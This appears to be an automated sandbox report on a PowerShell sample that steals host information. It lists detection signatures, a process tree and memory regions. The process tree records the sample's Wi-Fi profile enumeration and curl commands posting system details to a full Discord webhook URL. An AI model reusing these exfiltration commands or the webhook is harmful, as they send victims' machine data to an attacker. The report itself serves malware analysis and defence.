Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/08/2026, 16:48
General
- Target run.ps1
- Size 11KB
- Sample260822-vbksmaak3t
- SHA256 15f20356029ff5f6bb657e46463233f98108c4185eee0c5a413d2d2fe98ae4de
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Deletes itself 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps11⤵
- Badlisted process makes network request
- Deletes itself
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s -X POST -H "Content-Type: application/json" -d {"content":"PC: DLAWBTBF\nUser: Admin\nOS: Microsoft Windows 11 IoT Enterprise LTSC 10.0.26100\nArch: 64-bit\nCPU: Intel Core Processor (Broadwell)\nGPU: NVIDIA GeForce 210\nRAM: 4 GB\nIP: 85.203.46.69\nCountry: \nLanguage: en-US, de-DE, es-ES, fr-FR, it-IT, ja-JP, uk-UA\nTimezone: GMT Standard Time\n"} https://discord.com/api/webhooks/1540010261010980994/m3Ce7Tdw2J60nSjOHCyQi63C70KbS8aLLsSCOzFWoaJiUjCNWxUmfNuuL4VPUolVkgbQ2⤵
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s -X POST -H "Content-Type: application/json" -d {"content":"NOTHING FOUND"} https://discord.com/api/webhooks/1540010261010980994/m3Ce7Tdw2J60nSjOHCyQi63C70KbS8aLLsSCOzFWoaJiUjCNWxUmfNuuL4VPUolVkgbQ2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5908-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp
memory/5908-1-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-2-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-5-0x000001FD202A0000-0x000001FD202C2000-memory.dmp
memory/5908-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-16-0x000001FD20380000-0x000001FD20432000-memory.dmp
memory/5908-15-0x000001FD20360000-0x000001FD2037E000-memory.dmp
memory/5908-17-0x000001FD20350000-0x000001FD2035A000-memory.dmp
memory/5908-19-0x000001FD207E0000-0x000001FD20804000-memory.dmp
memory/5908-18-0x000001FD207E0000-0x000001FD2080A000-memory.dmp
memory/5908-20-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-21-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-22-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-23-0x000001FD20AB0000-0x000001FD20C72000-memory.dmp
memory/5908-24-0x000001FD211B0000-0x000001FD216D8000-memory.dmp
memory/5908-26-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-27-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-28-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/5908-30-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp